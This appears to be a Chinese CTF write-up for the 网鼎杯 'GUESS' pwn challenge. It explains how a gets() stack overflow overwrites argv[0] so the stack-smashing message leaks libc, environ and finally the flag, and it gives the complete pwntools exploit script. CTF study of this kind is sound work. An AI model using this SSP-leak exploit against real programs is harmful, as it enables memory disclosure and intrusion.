Pwn

网鼎杯Pwn之GUESS

ssp leak + environ泄露

Posted by Chris on August 30, 2018

0x00 代码分析

1,检查保护

1
2
3
4
5
6
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

开了CANARY 和 NX

2,使用IDA分析程序流程

pic1

pic2

程序将本地的flag读入栈中,sub_400A11函数中调用fork(若成功调用一次则返回两个值,子进程返回0,父进程返回子进程标记;否则,出错返回-1。), if ( !v5 ) break;-这段代码表示如果是子进程,则退出循环,进入验证流程,将用户输入的与flag比较;如果是父进程则继续循环,3次调用fork,等待所有子进程结束。

0x01 漏洞分析

gets(&s2);这里明显的栈溢出,但是程序开启了CANARY,栈溢出似乎还存在一些问题,它会进入stack_check,当__stack_check_fail时会抛出以下信息:

pic3

*** stack smashing detected ***: 之后是程序名./GUESS 会打印出正在运行中程序的名称,也就是 argv[0] 指针所指向的字符串,所以,我们只要将__libc_argv[0]覆盖为flag的地址就能将flag打印出来;同样我们也可以将其覆盖为函数plt.got地址,泄露libc基地址。

问题就在于将__libc_argv[0]覆盖为flag的地址,我们怎么能够定位栈中的flag地址呢?我们可以利用一个环境变量environ,environ处会存放当前栈中环境变量所在的位置,以此即可获取栈地址

我们有3次机会,刚刚好。我们可以任意长度覆盖,触发CANNARY,在fork子进程里,崩掉3个空间来泄露。

0X02 漏洞利用

1,我将断点下在main函数,观察参数__libc_argv[0]

pic4

可以看到 0x7fffffffdee8 地址存放的是 程序名字符串的地址,所以我们覆盖栈中 0x7fffffffdee8 这个地址内容为想要泄露的东西。

算算偏移离buf地址的偏移,0x7fffffffdee8 - 0x7fffffffddc0 = 0x128 得到偏移为 0x128,且这个偏移是固定的

pic5

接下来就是反复泄露了,第一次泄露libc,第二次泄露environ,gdb调试时测得 环境变量 所在 栈地址 距离buf地址相差 0x168,得到buf地址就再次覆盖,bingo!~~ Tips:falg.txt我本地建了一个,详见exp

0x03 完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
e=ELF("/lib/x86_64-linux-gnu/libc-2.19.so")
environ =e.symbols["environ"]
read_got=0x602040
p = process("./GUESS")

p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(read_got))
print p.recvuntil("***: ")
read_offset = u64(p.recv(6).ljust(8, "\x00"))
libc = read_offset - e.symbols["read"]
environ += libc
print hex(libc)

p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(environ))
print p.recvuntil("***: ")
stack = u64(p.recv(6).ljust(8, "\x00"))
print hex(stack)


p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(stack - 0x168))
print p.recvuntil("***: ")
print p.recvline()
p.close()

0x04 运行结果

last

文件下载